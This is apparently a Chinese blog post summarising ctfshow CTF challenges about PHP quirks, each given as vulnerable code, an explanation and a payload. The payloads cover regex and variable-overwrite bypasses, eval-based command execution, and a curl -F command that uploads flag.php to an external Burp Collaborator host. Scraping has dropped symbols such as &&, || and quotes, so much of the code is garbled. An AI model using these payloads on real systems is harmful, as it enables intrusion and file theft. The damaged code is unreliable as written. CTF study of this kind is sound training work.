php发展

首页 » 常识 » 预防 » CTF中PHP相关题目考点总结二
TUhjnbcbe - 2024/8/28 16:30:00

介绍

本篇文章主要总结了我在写ctfshow题目中遇到的关于PHP的考点。因为只总结知识点和考点会比较空洞,也不容易理解,所以我都是通过题目来总结考点,这样的话比较容易理解。

PHP特性相关考点

一、

考点:php正则表达式的匹配模式差异。

例题:

show_source(__FILE__);include(flag.php);$a=$_GET[cmd];if(preg_match(/^php$/im,$a)){#/i表示不区分大小写,/m表示多行匹配if(preg_match(/^php$/i,$a)){echohacker;}else{echo$flag;}}else{echononononono;}

例题分析:

字符^和$同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false/m多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if正则匹配会返回true。但是当不是多行匹配模式的时候也就是在第二个if正则匹配中出现换行符%0a的时,$cmd的值会被当做两行处理,因此当我们传入以下payload时,第二个if正则表达式匹配到的是aaaphp,不符合以php开头和以php结尾会返回false,从而echo出flag。

payload如下:

?cmd=aaa%0aphp#%0a为换行符

二、

考点:php变量覆盖。

例题:

?phphighlight_file(__FILE__);include(flag.php);error_reporting(0);$error=你还想要flag嘛?;$suces=既然你想要那给你吧!;foreach($_GETas$key=$value){if($key===error){die("whatareyoudoing?!");}$$key=$$value;}foreach($_POSTas$key=$value){if($value===flag){die("whatareyoudoing?!");}$$key=$$value;}if(!($_POST[flag]==$flag)){die($error);}echo"youraregood".$flag."\n";die($suces);?

例题分析:

这里利用的是变量覆盖,关键点在

key=key=

value,这里把$key的值当作了变量。

例如$key=flag则$$key=$flag

这里一共有三个变量,$error、$suces和$flag;这里通过die($error)或者die($suces)都可以输出flag,所以有两个payload。

第一种:通过die($error)输出flag,首先我们把$flag的值传给$test,接着再把$test的值传给$error,于是$error的值就是flag,再通过if判断die输出就是flag。例如$flag=ctfshow{xxxxx},?test=flag,通过第一个for循环,也就是$test=$flag,从而把变量flag的值赋给test变量,因此$test=ctfshow{xxxxx},接着再通过第二个for循环,$error=$test,此时$error=ctfshow{xxxxx}paylload如下:

?test=flagpost:error=test

第二种:通过die($suces)输出flag,首先我们把flag的值传给suces变量,接着再把flag的值给置空,以达到下面if条件为0不执行死亡函数的目的,从而往下执行,die($suces)即可把flag输出,payload如下:

?suces=flagflag=

三、

考点:PHP异常处理的利用,Exception处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类。

例题:

?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET[v1])isset($_GET[v2])){$v1=$_GET[v1];$v2=$_GET[v2];if(preg_match(/[a-zA-Z]+/,$v1)preg_match(/[a-zA-Z]+/,$v2)){eval("echonew$v1($v2());");}}

例题分析:

这里传入两个参数,并且都需要有字母,我们用php内置类让v1不进行报错,v2执行我们的命令就好了。

Exception处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类。

所以payload如下:

?v1=Exceptionv2=system(tacfl36dg.txt)

四、

考点一:PHP变量名由数字字母下划线组成,是没有.的我从大佬的文章了解到,GET或POST方式传进去的变量名,会自动将空格+.[转换为_。

例题:

?phperror_reporting(0);highlight_file(__FILE__);include("flag.php");$a=$_SERVER[argv];$c=$_POST[fun];if(isset($_POST[CTF_SHOW])isset($_POST[CTF_SHOW.COM])!isset($_GET[fl0g])){if(!preg_match("/\\\\

\/

\~

\`

\!

\

\#

\%

\^

\*

\-

\+

\=

\{

\}

\"

\

\,

\.

\;

\?/",$c)$c=18){eval("$c".";");if($fl0g==="flag_give_me"){echo$flag;}}}

例题分析:

这道题其中的一个难点是下面这行代码:

if(isset($_POST[CTF_SHOW])isset($_POST[CTF_SHOW.COM])!isset($_GET[fl0g]))

PHP变量名由数字字母下划线组成,是没有.的我从大佬的文章了解到,GET或POST方式传进去的变量名,会自动将空格+.[转换为_。

有一种特殊情况,GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就再进行替换了如CTF[SHOW.COM=CTF_SHOW.COM所以payload如下:

POST:CTF_SHOW=CTF[SHOW.COM=fun=echo$flag

很明显这个解是非预期的,其实是可以通过正常步骤得到flag的。

出题人的预期解

get:a=1+fl0g=flag_give_mepost:CTF_SHOW=CTF[SHOW.COM=fun=parse_str($a[1])

因为上面的代码中的这个代码语句$a=$_SERVER[argv];会将url传入的变量存入数组a中,然后我们配合parse_str函数从数组a中取出fl0g=flag_give_me,配合eval函数,从而给fl0g变量赋值,这样就可以绕过if语句,从而echo出flag。

$_SERVER[argv][0]=$_SERVER[QUERY_STRING]querystring是UniformResourceLocator(URL)的一部分,其中包含着需要传给webapplication的数据

这里进行了本地测试,注意需要在php.ini开启register_argc_argv配置项,测试代码为:

?php$a=$_SERVER[argv];var_dump($a);

所以如果我们get传入变量赋值语句,接着在post里面来执行这个赋值语句就可以完美绕过。

五、

考点一:利用php内置类FilesystemIterator获取指定目录下的所有文件名。

考点二:getcwd()函数的作用时返回当前工作目录。

例题:

?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET[v1])isset($_GET[v2])){$v1=$_GET[v1];$v2=$_GET[v2];if(preg_match(/\~

\`

\!

\

\#

\\$

\%

\^

\

\*

\(

\)

\_

\-

\+

\=

\{

\[

\;

\:

\"

\

\,

\.

\?

\\\\

\/

[0-9]/,$v1)){die("errorv1");}if(preg_match(/\~

\`

\!

\

\#

\\$

\%

\^

\

\*

\(

\)

\_

\-

\+

\=

\{

\[

\;

\:

\"

\

\,

\.

\?

\\\\

\/

[0-9]/,$v2)){die("errorv2");}eval("echonew$v1($v2());");}?

例题分析:

这里正则进行了匹配,我们可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的所有文件的文件名,payload为:

?v1=FilesystemIteratorv2=getcwd

知道flag所在文件的文件名和目录后直接访问即可获得flag。

六、

考点一:PHP中逻辑运算符运算符比

运算符优先级高。

考点二:PHP中逻辑运算符和

执行的流程。

例题:

?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET[username])isset($_GET[password])isset($_GET[code])){$username=(String)$_GET[username];$password=(String)$_GET[password];$code=(String)$_GET[code];if($code===mt_rand(1,0x36D)$password===$flag

$username==="admin"){if($code==admin){echo$flag;}}}

例题分析:

分析代码:由于运算符比

运算符优先级高,并且我们不知道随机数产生啥,所以$code===mt_rand(1,0x36D)的结果是false,同时我们看到code的值需要为admin,所以我们设置code=admin,又由于与运算()一假则假,所以不再判断$password===$flag的部分,然后就变成了:

if(false

$username==="admin")

又由于或运算(

)一真则真,所以我们只要把username设置成admin即可,所以payload如下:

?username=admincode=adminpassword=1

补充:

一、PHP中逻辑运算符和

的分析:

首先,我给出一段代码:

?php$test="李四";$test=="张三"$test="张三来了";echo$test;//输出“李四”$test="李四";$test=="张三"

$test="张三不在这里";echo$test;//输出“张三不在这里”?

为什么会产生这样的结果呢?如果按照平常的方法,我们最少要用个IF语句来判断。可现在只是两个逻辑运算就会把变量的值给改变了。下面我们来分析一下它的运行原理。

在参与逻辑运算的两边表达式中,是按照从左到右顺序进行运算的。而“与”运算中只要有一个是假,整个表达式的结果为假。所以,当左边表达式为假时,就无需再进行运算了。这样的处理无疑对程序的运行效率是大有好处的。所以说正如题目所说,是一种高效的用法。而逻辑或就不同了:只要一个为真那整个表达式就为真。所以,在左边为假的情况下,还要运行右边的表达式判断。明白或理解了上面所说,也就对结果不感到奇怪了。

最后,我们做以下总结:对于“与”()运算:xy当x为false时,直接跳过,不执行y;对于“或”(

)运算:x

y当x为true时,直接跳过,不执行y。

二、PHP运算符优先级一览表:

对具有相同优先级的运算符来说,从左向右的结合方向意味着将从左向右求值,从右向左结合方向则反之。对于无结合方向的则具有相同优先级的运算符,该运算符有可能无法与其自身结合。

七、

考点一:命令执行的骚操作:curl-F命令的使用。

考点二:BurpCollaborator的使用和带外攻击的概念与流程。

例题:

?phperror_reporting(0);highlight_file(__FILE__);//flag.phpif($F=

$_GET[F]){if(!preg_match(/system

nc

wget

exec

passthru

netcat/i,$F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}}

例题分析:

这个题主要是考察,命令执行的骚操作和curl-F的使用,分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。那如果我们传递的参数就是$F本身,会不会发生变量覆盖?那我们来一个简单的测试。

我们传递?F=`$F`;+sleep3发现网站确实sleep了一会,说明的确执行了sleep命令**那为什么会这样?**因为是我们传递的`$F`;+sleep3。先进行substr()函数截断然后去执行eval()函数这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。而$F就是我们输入的`$F`;+sleep3所以最后执行的代码应该是``$F`;+sleep3`,所以就可以成功执行sleep函数这里可能有点绕,可以慢慢理解下。

然后就是利用curl去带出flag.php

#payload:#其中-F为带文件的形式发送post请求#xx是上传文件的name值,flag.php就是上传的文件#payload中的url地址是我们从CollaboratorClient上获取到的,点击copytoclipboard即可获得?F=`$F`;+curl-XPOST-Fxx=

flag.php
1
查看完整版本: CTF中PHP相关题目考点总结二